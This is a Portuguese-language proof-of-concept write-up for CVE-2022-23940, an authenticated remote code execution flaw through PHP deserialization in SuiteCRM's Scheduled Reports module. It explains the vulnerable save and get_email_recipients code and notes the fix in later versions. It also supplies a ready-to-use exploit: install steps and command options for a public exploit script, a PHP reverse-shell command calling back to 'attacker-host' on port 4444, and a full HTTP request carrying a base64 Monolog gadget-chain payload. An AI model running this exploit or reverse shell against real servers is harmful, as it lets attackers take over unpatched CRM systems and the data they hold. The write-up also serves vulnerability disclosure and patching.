
PoC para CVE-2022-23940
PoC para CVE-2022-23940 também conhecido como SCRMBT-#187 - Execução Remota de Código Autenticada através de Relatórios Agendados no SuiteCRM (<= 7.12.4) e SuiteCRM-Core (<= 8.0.3).
Esta vulnerabilidade foi reportada à SalesAgility e corrigida no SuiteCRM 7.12.5 e no SuiteCRM Core 8.0.4. Nas versões afetadas, qualquer usuário com permissão para criar Relatórios Agendados pode obter execução remota de código e comprometer o servidor. Se você estiver usando versões mais antigas do SuiteCRM, recomendo fortemente que atualize.
Instalação
python3 e do pip instalados.git clone https://github.com/manuelz120/CVE-2022-23940.gitpip3 install -r "requirements.txt"Opções disponíveis:
(.venv) ➜ CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2022-23940
Exemplo de uso:
# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
Usuários que conseguem criar Relatórios Agendados (podem criar entradas no módulo AOR_Scheduled_Reports) podem executar código arbitrário no servidor ao abusar de uma vulnerabilidade de desserialização de PHP.
O módulo AOR_Scheduled_Reports armazena os destinatários de e-mail do relatório como strings serializadas e codificadas em base64 no banco de dados. Ao receber os dados de um relatório agendado, a referida coluna é desserializada. Se invasores conseguirem inserir conteúdo arbitrário nessa coluna, eles podem obter RCE por meio de vários gadgets de desserialização de PHP (nos meus testes, usei o Monolog/RCE2 da ferramenta phpggc).
O payload pode ser armazenado no banco de dados usando a chamada de salvamento legada do módulo AOR_Scheduled_Reports. O servidor assume incorretamente que o parâmetro email_recipients é sempre um array. No entanto, se um cliente malicioso passar apenas email_recipients como uma string, os dados serão armazenados no banco de dados exatamente como estão. Uma vez desserializados, os gadgets são executados no servidor e obtemos execução remota de código.
A implementação vulnerável da função save na classe AOR_Scheduled_Reports. Mais abaixo, podemos ver que o get_email_recipients chama unserialize no conteúdo armazenado no banco de dados:
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php
public function save($check_notify = false)
{
if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
$this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
}
return parent::save($check_notify);
}
public function get_email_recipients()
{
$params = unserialize(base64_decode($this->email_recipients));
// ....
Um exemplo de requisição para criar um relatório agendado malicioso se parece com isto (se você decodificar o valor de email_recipients, verá que ele simplesmente executa touch /tmp/hacked):
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999
module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A
Se olharmos para o código corrigido, podemos ver que os desenvolvedores adicionaram uma nova função parseRecipients que analisa e valida os dados armazenados no parâmetro email_recipients, antes de salvá-los no banco de dados. Somente se o valor corresponder ao formato esperado os dados são armazenados. Portanto, o RCE por desserialização não funciona mais:
